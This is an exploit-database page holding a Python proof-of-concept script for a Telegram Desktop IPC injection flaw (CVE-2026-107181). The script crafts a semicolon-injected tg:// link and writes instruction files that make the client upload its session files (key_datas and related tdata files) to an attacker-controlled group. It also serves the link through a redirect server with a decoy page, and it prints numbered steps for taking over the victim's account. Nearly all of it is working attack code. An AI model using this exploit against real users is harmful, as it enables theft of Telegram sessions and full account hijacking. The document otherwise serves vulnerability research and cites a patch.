Exploit databaseDownload repository ZIP
GH-8f2a38b152fab52794bcff5349163fd0
abdugafforov-bobur/cve-2026-107181-poc
Sources for CVE-2026-107181
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
abdugafforov-bobur/cve-2026-107181-pocRevision 6f98bdac615a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 5,766 bytes#!/usr/bin/env python3
"""
CVE-2026-107181 - Telegram Desktop <= 7.2.8
IPC record-separator injection -> interpret: arbitrary file read -> account takeover
When Telegram Desktop is already running, a clicked tg:// link is forwarded
from the second process to the first over a local socket as text records:
OPEN:<url>;
Semicolons in <url> are not escaped, so the receiver splits one link into
several commands. The internal `interpret:` scheme (a leftover release
tooling helper, removed in 7.2.9) reads an instruction file and uploads an
arbitrary local file to a chat, with no confirmation and no auth check.
Chained with Telegram's default auto-download of group files (which lands
attacker-written instruction files at a predictable path), one clicked link
exfiltrates tdata/key_datas + session files -> full session hijack.
Reference: https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/
Patch: https://github.com/telegramdesktop/tdesktop/commit/db3405699f (7.2.9)
LAB / EDUCATIONAL USE ONLY. Test against systems and accounts you own.
"""
import argparse
import os
import sys
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
# Files that make up a Telegram Desktop session (Windows, default data name).
# key_datas holds salt + wrapped DEK; with no local passcode the KEK derives
# from an empty password, so these three files are the whole login.
SESSION_FILES = [
"tdata/key_datas",
"tdata/D877F783D5D3EF8Cs",
"tdata/D877F783D5D3EF8C/maps",
]
# Victim's auto-download dir, relative to %APPDATA%\Telegram Desktop
# (interpret: resolves relative paths from Telegram's working directory).
# %20 = space. Three levels up lands in the user profile, then Downloads.
DEFAULT_DL_PATH = "../../../Downloads/Telegram%20Desktop"
DECOY = (b"<!doctype html><html><head><meta charset='utf-8'>"
b"<title>Community Rules</title></head><body>"
b"<h1>Community Rules</h1><p>Be respectful. No spam.</p>"
b"</body></html>")
def build_payload(dl_path: str, count: int) -> str:
"""Craft the tg:// URL whose semicolons become extra OPEN: records."""
payload = "tg://x?a=1" # carrier URL, matches no handler
for i in range(1, count + 1):
payload += f";OPEN:interpret:{dl_path}/i{i}.txt"
return payload
def write_instruction_files(channel: str, outdir: str) -> None:
"""Instruction files for interpret: - plain text, LF, no BOM, no 'from:'
(omitting from: skips the account-id check). channel: wants the bare
MTProto peer id: Bot API id -1004488553400 -> 4488553400."""
os.makedirs(outdir, exist_ok=True)
for idx, path in enumerate(SESSION_FILES, 1):
content = f"channel: {channel}\nfile: {path}\ncaption: poc\n"
target = os.path.join(outdir, f"i{idx}.txt")
with open(target, "w", encoding="ascii", newline="\n") as fh:
fh.write(content)
if b"\r" in open(target, "rb").read() or \
open(target, "rb").read(3) == b"\xef\xbb\xbf":
sys.exit(f"[!] {target}: bad line endings or BOM")
print(f"[+] wrote {target}")
def serve(payload: str, host: str, port: int) -> None:
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def do_GET(self):
if self.path.startswith("/go"):
self.send_response(302)
self.send_header("Location", payload)
self.send_header("Content-Length", "0")
self.end_headers()
print(f"[+] HIT {self.path} from {self.client_address[0]}",
flush=True)
else:
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(DECOY)))
self.end_headers()
self.wfile.write(DECOY)
def log_message(self, *args):
pass
print(f"[*] exploit server on {host}:{port}")
print(f"[*] post this link in the group: http://<YOUR-IP>:{port}/go")
ThreadingHTTPServer((host, port), Handler).serve_forever()
def main():
p = argparse.ArgumentParser(
description="CVE-2026-107181 PoC - Telegram Desktop IPC injection "
"-> arbitrary file read (lab use only)")
p.add_argument("-c", "--channel", required=True,
help="bare supergroup id (strip -100: -1004488553400 -> "
"4488553400)")
p.add_argument("-p", "--port", type=int, default=8080)
p.add_argument("--host", default="0.0.0.0")
p.add_argument("--outdir", default="out",
help="where to write the instruction files")
p.add_argument("--dl-path", default=DEFAULT_DL_PATH,
help="URL-encoded relative path of the victim's "
"Telegram auto-download folder")
args = p.parse_args()
channel = args.channel[4:] if args.channel.startswith("-100") \
else args.channel
if not channel.isdigit():
sys.exit("[!] channel id must be numeric (bare id, no -100 prefix)")
print("[*] CVE-2026-107181 PoC - Telegram Desktop <= 7.2.8")
write_instruction_files(channel, args.outdir)
print("[*] steps:")
print(" 1. post the files from --outdir as FILE attachments into the "
"supergroup")
print(" 2. victim opens the group (auto-download lands them in "
"Downloads\\Telegram Desktop\\)")
print(" 3. victim clicks the link, Telegram <= 7.2.8 must be RUNNING")
print(" 4. session files are uploaded to the group -> rebuild tdata")
serve(build_payload(args.dl_path, len(SESSION_FILES)),
args.host, args.port)
if __name__ == "__main__":
main()